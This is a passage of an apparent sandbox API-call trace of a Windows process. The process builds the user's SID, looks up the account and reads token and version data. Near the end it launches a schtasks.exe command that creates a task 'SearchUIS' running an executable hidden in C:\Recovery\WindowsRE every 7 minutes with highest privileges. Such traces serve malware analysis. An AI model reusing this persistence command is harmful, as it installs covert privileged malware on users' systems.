SysStringLen (param_1="-") returned 0x1 [0126.322] memcpy (in: _Dst=0x196ee7c7198, _Src=0x196ee7aaa18, _Size=0xc | out: _Dst=0x196ee7c7198) returned 0x196ee7c7198 [0126.322] memcpy (in: _Dst=0x196ee7c71a2, _Src=0x196ee7c7258, _Size=0x4 | out: _Dst=0x196ee7c71a2) returned 0x196ee7c71a2 [0126.323] free (_Block=0x196ef0d1c00) [0126.323] free (_Block=0x196ef0d1ba0) [0126.323] malloc (_Size=0x18) returned 0x196ef0d20a0 [0126.323] malloc (_Size=0x18) returned 0x196ef0d1a20 [0126.323] SysStringLen (param_1="S-1-5-") returned 0x6 [0126.323] SysStringLen (param_1="21") returned 0x2 [0126.323] memcpy (in: _Dst=0x196ee7c7258, _Src=0x196ee7c7198, _Size=0xe | out: _Dst=0x196ee7c7258) returned 0x196ee7c7258 [0126.323] memcpy (in: _Dst=0x196ee7c7264, _Src=0x196ee7aaa18, _Size=0x6 | out: _Dst=0x196ee7c7264) returned 0x196ee7c7264 [0126.323] free (_Block=0x196ef0d1a80) [0126.323] free (_Block=0x196ef0d20a0) [0126.323] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0bec [0126.323] _ultow (in: _Dest=0x5cffa865, _Radix=1895810256 | out: _Dest=0x5cffa865) returned="1560258661" [0126.323] malloc (_Size=0x18) returned 0x196ef0d2020 [0126.323] malloc (_Size=0x18) returned 0x196ef0d1c80 [0126.323] SysStringLen (param_1="S-1-5-21") returned 0x8 [0126.323] SysStringLen (param_1="-") returned 0x1 [0126.323] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7c7258, _Size=0x12 | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0126.323] memcpy (in: _Dst=0x196ee7aaa28, _Src=0x196ee7c7198, _Size=0x4 | out: _Dst=0x196ee7aaa28) returned 0x196ee7aaa28 [0126.323] free (_Block=0x196ef0d1a20) [0126.324] free (_Block=0x196ef0d2020) [0126.324] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0126.324] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0126.324] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0126.324] SysStringLen (param_1="1560258661") returned 0xa [0126.324] memcpy (in: _Dst=0x196ee777898, _Src=0x196ee7aaa18, _Size=0x14 | out: _Dst=0x196ee777898) returned 0x196ee777898 [0126.324] memcpy (in: _Dst=0x196ee7778aa, _Src=0x196ee7c7258, _Size=0x16 | out: _Dst=0x196ee7778aa) returned 0x196ee7778aa [0126.324] free (_Block=0x196ef0d1c80) [0126.324] free (_Block=0x196ef0d1aa0) [0126.324] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0bf0 [0126.324] _ultow (in: _Dest=0xeddecfcf, _Radix=1895810256 | out: _Dest=0xeddecfcf) returned="3990802383" [0126.324] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0126.324] malloc (_Size=0x18) returned 0x196ef0d1e80 [0126.324] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0126.324] SysStringLen (param_1="-") returned 0x1 [0126.324] memcpy (in: _Dst=0x196ee777208, _Src=0x196ee777898, _Size=0x28 | out: _Dst=0x196ee777208) returned 0x196ee777208 [0126.324] memcpy (in: _Dst=0x196ee77722e, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee77722e) returned 0x196ee77722e [0126.324] free (_Block=0x196ef0d1ac0) [0126.324] free (_Block=0x196ef0d1bc0) [0126.324] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0126.324] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0126.324] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0126.325] SysStringLen (param_1="3990802383") returned 0xa [0126.325] memcpy (in: _Dst=0x196ee82dc38, _Src=0x196ee777208, _Size=0x2a | out: _Dst=0x196ee82dc38) returned 0x196ee82dc38 [0126.325] memcpy (in: _Dst=0x196ee82dc60, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee82dc60) returned 0x196ee82dc60 [0126.325] free (_Block=0x196ef0d1e80) [0126.325] free (_Block=0x196ef0d1ba0) [0126.325] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0bf4 [0126.325] _ultow (in: _Dest=0x6bfcce57, _Radix=1895810256 | out: _Dest=0x6bfcce57) returned="1811730007" [0126.325] malloc (_Size=0x18) returned 0x196ef0d1f00 [0126.325] malloc (_Size=0x18) returned 0x196ef0d2020 [0126.325] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0126.325] SysStringLen (param_1="-") returned 0x1 [0126.325] memcpy (in: _Dst=0x196ee82dd38, _Src=0x196ee82dc38, _Size=0x3e | out: _Dst=0x196ee82dd38) returned 0x196ee82dd38 [0126.325] memcpy (in: _Dst=0x196ee82dd74, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee82dd74) returned 0x196ee82dd74 [0126.325] free (_Block=0x196ef0d1ca0) [0126.325] free (_Block=0x196ef0d1f00) [0126.325] malloc (_Size=0x18) returned 0x196ef0d19a0 [0126.325] malloc (_Size=0x18) returned 0x196ef0d19c0 [0126.325] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0126.325] SysStringLen (param_1="1811730007") returned 0xa [0126.325] memcpy (in: _Dst=0x196ee82dc38, _Src=0x196ee82dd38, _Size=0x40 | out: _Dst=0x196ee82dc38) returned 0x196ee82dc38 [0126.326] memcpy (in: _Dst=0x196ee82dc76, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee82dc76) returned 0x196ee82dc76 [0126.326] free (_Block=0x196ef0d2020) [0126.326] free (_Block=0x196ef0d19a0) [0126.326] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0bf8 [0126.326] _ultow (in: _Dest=0x3e8, _Radix=1895810256 | out: _Dest=0x3e8) returned="1000" [0126.326] malloc (_Size=0x18) returned 0x196ef0d20e0 [0126.326] malloc (_Size=0x18) returned 0x196ef0d1c20 [0126.326] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0126.326] SysStringLen (param_1="-") returned 0x1 [0126.326] memcpy (in: _Dst=0x196ee82dd38, _Src=0x196ee82dc38, _Size=0x54 | out: _Dst=0x196ee82dd38) returned 0x196ee82dd38 [0126.326] memcpy (in: _Dst=0x196ee82dd8a, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee82dd8a) returned 0x196ee82dd8a [0126.326] free (_Block=0x196ef0d19c0) [0126.326] free (_Block=0x196ef0d20e0) [0126.326] malloc (_Size=0x18) returned 0x196ef0d19c0 [0126.326] malloc (_Size=0x18) returned 0x196ef0d1c60 [0126.326] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0126.326] SysStringLen (param_1="1000") returned 0x4 [0126.326] memcpy (in: _Dst=0x196ee82dc38, _Src=0x196ee82dd38, _Size=0x56 | out: _Dst=0x196ee82dc38) returned 0x196ee82dc38 [0126.326] memcpy (in: _Dst=0x196ee82dc8c, _Src=0x196ee7aaa18, _Size=0xa | out: _Dst=0x196ee82dc8c) returned 0x196ee82dc8c [0126.326] free (_Block=0x196ef0d1c20) [0126.326] free (_Block=0x196ef0d19c0) [0126.326] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0126.327] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0126.327] free (_Block=0x196ef0d1c60) [0126.327] malloc (_Size=0x18) returned 0x196ef0d1f40 [0126.327] free (_Block=0x196ef0d03e0) [0126.327] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698 | out: Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698) returned 0 [0126.328] GetLastError () returned 0x7a [0126.328] malloc (_Size=0x1a) returned 0x196ef0f9a90 [0126.328] malloc (_Size=0xe) returned 0x196ef0d1e60 [0126.328] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9a90, cchName=0x670ffc5a0, ReferencedDomainName=0x196ef0d1e60, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698 | out: Name="RDhJ0CNFevzX", cchName=0x670ffc5a0, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698) returned 1 [0126.330] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0126.330] malloc (_Size=0x18) returned 0x196ef0d1f20 [0126.330] free (_Block=0x196ef0f9a90) [0126.330] free (_Block=0x196ef0d1e60) [0126.330] free (_Block=0x196ef0f9fd0) [0126.330] free (_Block=0x196ef0d1f20) [0126.330] free (_Block=0x196ef0d1ce0) [0126.330] free (_Block=0x196ef0d1f40) [0126.330] free (_Block=0x196ef0d0bd0) [0126.331] GetVersionExW (in: lpVersionInformation=0x670ffc870*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee795208, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x670ffc870*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0126.331] GetTokenInformation (in: TokenHandle=0x330, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x0, ReturnLength=0x670ffc6e0) returned 0 [0126.331] GetLastError () returned 0x7a [0126.331] malloc (_Size=0x2c) returned 0x196ef0d0d10 [0126.331] GetTokenInformation (in: TokenHandle=0x330, TokenInformationClass=0x1, TokenInformation=0x196ef0d0d10, TokenInformationLength=0x2c, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x196ef0d0d10, ReturnLength=0x670ffc6e0) returned 1 [0126.331] IsValidSid (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0126.331] GetLengthSid (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0126.331] malloc (_Size=0x1c) returned 0x196ef0f9a00 [0126.331] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9a00, pSourceSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9a00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0126.331] GetSidIdentifierAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0d22 [0126.331] malloc (_Size=0x18) returned 0x196ef0d1a40 [0126.331] _ultow (in: _Dest=0x5, _Radix=1895810256 | out: _Dest=0x5) returned="5" [0126.331] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0126.331] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0126.331] SysStringLen (param_1="S-1-") returned 0x4 [0126.331] SysStringLen (param_1="5") returned 0x1 [0126.331] memcpy (in: _Dst=0x196ee7c7258, _Src=0x196ee7aaa18, _Size=0xa | out: _Dst=0x196ee7c7258) returned 0x196ee7c7258 [0126.331] memcpy (in: _Dst=0x196ee7c7260, _Src=0x196ee7c7198, _Size=0x4 | out: _Dst=0x196ee7c7260) returned 0x196ee7c7260 [0126.331] free (_Block=0x196ef0d1a40) [0126.331] free (_Block=0x196ef0d1aa0) [0126.331] GetSidSubAuthorityCount (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0d21 [0126.332] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0d28 [0126.332] _ultow (in: _Dest=0x15, _Radix=1895810256 | out: _Dest=0x15) returned="21" [0126.332] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0126.332] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0126.332] SysStringLen (param_1="S-1-5") returned 0x5 [0126.332] SysStringLen (param_1="-") returned 0x1 [0126.332] memcpy (in: _Dst=0x196ee7c7198, _Src=0x196ee7c7258, _Size=0xc | out: _Dst=0x196ee7c7198) returned 0x196ee7c7198 [0126.332] memcpy (in: _Dst=0x196ee7c71a2, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7c71a2) returned 0x196ee7c71a2 [0126.332] free (_Block=0x196ef0d1ba0) [0126.332] free (_Block=0x196ef0d1ae0) [0126.332] malloc (_Size=0x18) returned 0x196ef0d1c20 [0126.332] malloc (_Size=0x18) returned 0x196ef0d1a20 [0126.332] SysStringLen (param_1="S-1-5-") returned 0x6 [0126.332] SysStringLen (param_1="21") returned 0x2 [0126.332] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7c7198, _Size=0xe | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0126.332] memcpy (in: _Dst=0x196ee7aaa24, _Src=0x196ee7c7258, _Size=0x6 | out: _Dst=0x196ee7aaa24) returned 0x196ee7aaa24 [0126.332] free (_Block=0x196ef0d1bc0) [0126.332] free (_Block=0x196ef0d1c20) [0126.332] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0d2c [0126.332] _ultow (in: _Dest=0x5cffa865, _Radix=1895810256 | out: _Dest=0x5cffa865) returned="1560258661" [0126.332] malloc (_Size=0x18) returned 0x196ef0d1de0 [0126.332] malloc (_Size=0x18) returned 0x196ef0d1c60 [0126.333] SysStringLen (param_1="S-1-5-21") returned 0x8 [0126.333] SysStringLen (param_1="-") returned 0x1 [0126.333] memcpy (in: _Dst=0x196ee7c7258, _Src=0x196ee7aaa18, _Size=0x12 | out: _Dst=0x196ee7c7258) returned 0x196ee7c7258 [0126.333] memcpy (in: _Dst=0x196ee7c7268, _Src=0x196ee7c7198, _Size=0x4 | out: _Dst=0x196ee7c7268) returned 0x196ee7c7268 [0126.333] free (_Block=0x196ef0d1a20) [0126.333] free (_Block=0x196ef0d1de0) [0126.333] malloc (_Size=0x18) returned 0x196ef0d2080 [0126.333] malloc (_Size=0x18) returned 0x196ef0d1a80 [0126.333] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0126.333] SysStringLen (param_1="1560258661") returned 0xa [0126.333] memcpy (in: _Dst=0x196ee777898, _Src=0x196ee7c7258, _Size=0x14 | out: _Dst=0x196ee777898) returned 0x196ee777898 [0126.333] memcpy (in: _Dst=0x196ee7778aa, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee7778aa) returned 0x196ee7778aa [0126.333] free (_Block=0x196ef0d1c60) [0126.333] free (_Block=0x196ef0d2080) [0126.333] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0d30 [0126.333] _ultow (in: _Dest=0xeddecfcf, _Radix=1895810256 | out: _Dest=0xeddecfcf) returned="3990802383" [0126.333] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0126.333] malloc (_Size=0x18) returned 0x196ef0d1b00 [0126.333] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0126.333] SysStringLen (param_1="-") returned 0x1 [0126.333] memcpy (in: _Dst=0x196ee777208, _Src=0x196ee777898, _Size=0x28 | out: _Dst=0x196ee777208) returned 0x196ee777208 [0126.333] memcpy (in: _Dst=0x196ee77722e, _Src=0x196ee7c7258, _Size=0x4 | out: _Dst=0x196ee77722e) returned 0x196ee77722e [0126.334] free (_Block=0x196ef0d1a80) [0126.334] free (_Block=0x196ef0d1ae0) [0126.334] malloc (_Size=0x18) returned 0x196ef0d1b40 [0126.334] malloc (_Size=0x18) returned 0x196ef0d1f60 [0126.334] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0126.334] SysStringLen (param_1="3990802383") returned 0xa [0126.334] memcpy (in: _Dst=0x196ee82dd38, _Src=0x196ee777208, _Size=0x2a | out: _Dst=0x196ee82dd38) returned 0x196ee82dd38 [0126.334] memcpy (in: _Dst=0x196ee82dd60, _Src=0x196ee7c7258, _Size=0x16 | out: _Dst=0x196ee82dd60) returned 0x196ee82dd60 [0126.334] free (_Block=0x196ef0d1b00) [0126.334] free (_Block=0x196ef0d1b40) [0126.334] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0d34 [0126.334] _ultow (in: _Dest=0x6bfcce57, _Radix=1895810256 | out: _Dest=0x6bfcce57) returned="1811730007" [0126.334] malloc (_Size=0x18) returned 0x196ef0d1d40 [0126.334] malloc (_Size=0x18) returned 0x196ef0d1a20 [0126.334] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0126.334] SysStringLen (param_1="-") returned 0x1 [0126.334] memcpy (in: _Dst=0x196ee82dc38, _Src=0x196ee82dd38, _Size=0x3e | out: _Dst=0x196ee82dc38) returned 0x196ee82dc38 [0126.334] memcpy (in: _Dst=0x196ee82dc74, _Src=0x196ee7c7258, _Size=0x4 | out: _Dst=0x196ee82dc74) returned 0x196ee82dc74 [0126.334] free (_Block=0x196ef0d1f60) [0126.334] free (_Block=0x196ef0d1d40) [0126.334] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0126.334] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0126.335] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0126.335] SysStringLen (param_1="1811730007") returned 0xa [0126.335] memcpy (in: _Dst=0x196ee82dd38, _Src=0x196ee82dc38, _Size=0x40 | out: _Dst=0x196ee82dd38) returned 0x196ee82dd38 [0126.335] memcpy (in: _Dst=0x196ee82dd76, _Src=0x196ee7c7258, _Size=0x16 | out: _Dst=0x196ee82dd76) returned 0x196ee82dd76 [0126.335] free (_Block=0x196ef0d1a20) [0126.335] free (_Block=0x196ef0d1ba0) [0126.335] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0d38 [0126.335] _ultow (in: _Dest=0x3e8, _Radix=1895810256 | out: _Dest=0x3e8) returned="1000" [0126.335] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0126.335] malloc (_Size=0x18) returned 0x196ef0d20e0 [0126.335] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0126.335] SysStringLen (param_1="-") returned 0x1 [0126.335] memcpy (in: _Dst=0x196ee82dc38, _Src=0x196ee82dd38, _Size=0x54 | out: _Dst=0x196ee82dc38) returned 0x196ee82dc38 [0126.335] memcpy (in: _Dst=0x196ee82dc8a, _Src=0x196ee7c7258, _Size=0x4 | out: _Dst=0x196ee82dc8a) returned 0x196ee82dc8a [0126.335] free (_Block=0x196ef0d1ac0) [0126.335] free (_Block=0x196ef0d1ba0) [0126.335] malloc (_Size=0x18) returned 0x196ef0d1a60 [0126.335] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0126.335] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0126.335] SysStringLen (param_1="1000") returned 0x4 [0126.336] memcpy (in: _Dst=0x196ee82dd38, _Src=0x196ee82dc38, _Size=0x56 | out: _Dst=0x196ee82dd38) returned 0x196ee82dd38 [0126.336] memcpy (in: _Dst=0x196ee82dd8c, _Src=0x196ee7c7258, _Size=0xa | out: _Dst=0x196ee82dd8c) returned 0x196ee82dd8c [0126.336] free (_Block=0x196ef0d20e0) [0126.336] free (_Block=0x196ef0d1a60) [0126.336] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0126.336] malloc (_Size=0x5e) returned 0x196ef0d0680 [0126.336] free (_Block=0x196ef0d1ba0) [0126.336] malloc (_Size=0x18) returned 0x196ef0d19e0 [0126.336] free (_Block=0x196ef0d0680) [0126.336] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690 | out: Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690) returned 0 [0126.342] GetLastError () returned 0x7a [0126.342] malloc (_Size=0x1a) returned 0x196ef0f9b50 [0126.342] malloc (_Size=0xe) returned 0x196ef0d1bc0 [0126.342] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9b50, cchName=0x670ffc5a0, ReferencedDomainName=0x196ef0d1bc0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690 | out: Name="RDhJ0CNFevzX", cchName=0x670ffc5a0, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690) returned 1 [0126.343] malloc (_Size=0x18) returned 0x196ef0d1f40 [0126.343] malloc (_Size=0x18) returned 0x196ef0d1d40 [0126.343] free (_Block=0x196ef0f9b50) [0126.343] free (_Block=0x196ef0d1bc0) [0126.343] free (_Block=0x196ef0f9a00) [0126.343] free (_Block=0x196ef0d1d40) [0126.343] free (_Block=0x196ef0d1f40) [0126.343] free (_Block=0x196ef0d19e0) [0126.344] free (_Block=0x196ef0d0d10) [0126.344] malloc (_Size=0x48) returned 0x196ef0ccda0 [0126.344] LoadLibraryExW (lpLibFileName="userenv.dll", hFile=0x0, dwFlags=0x0) returned 0x7ffa77c00000 [0126.351] GetProcAddress (hModule=0x7ffa77c00000, lpProcName="DestroyEnvironmentBlock") returned 0x7ffa77c034a0 [0126.351] GetProcAddress (hModule=0x7ffa77c00000, lpProcName="CreateEnvironmentBlock") returned 0x7ffa77c034d0 [0126.351] malloc (_Size=0x18) returned 0x196ef0d2040 [0126.351] CreateEnvironmentBlock () returned 0x1 [0126.358] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0126.358] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"SearchUIS\" /sc MINUTE /mo 7 /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x670ffc800*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x670ffc6a8 | out: lpCommandLine="schtasks.exe /create /tn \"SearchUIS\" /sc MINUTE /mo 7 /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /rl HIGHEST /f", lpProcessInformation=0x670ffc6a8*(hProcess=0x260, hThread=0x264, dwProcessId=0x8a4, dwThreadId=0xa94)) returned 1 [0126.368] CloseHandle (hObject=0x260) returned 1 [0126.368] CloseHandle (hObject=0x264) returned 1 [0126.370] free (_Block=0x196ef0d1ca0) [0126.371] DestroyEnvironmentBlock () returned 0x1 [0126.371] malloc (_Size=0x48) returned 0x196ef0cd160 [0126.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670ffc680 | out: lpSystemTimeAsFileTime=0x670ffc680*(dwLowDateTime=0x2c2c4333, dwHighDateTime=0x1d9eb0c)) [0126.372] SetEvent (hEvent=0x248) returned 1 [0126.373] CloseHandle (hObject=0x330) returned 1 [0126.373] CloseHandle (hObject=0x26c) returned 1 [0126.391] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0126.392] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x670ffdf80 | out: pulNumLanguages=0x670ffdf80) returned 1 [0126.392] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0126.392] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0127.242] RtlRestoreLastWin32Error () returned 0x670db9000 [0127.242] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffddb0 | out: pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffddb0) returned 1 [0127.242] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0127.242] RtlRestoreLastWin32Error () returned 0x670db9000 [0127.242] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdeb8, 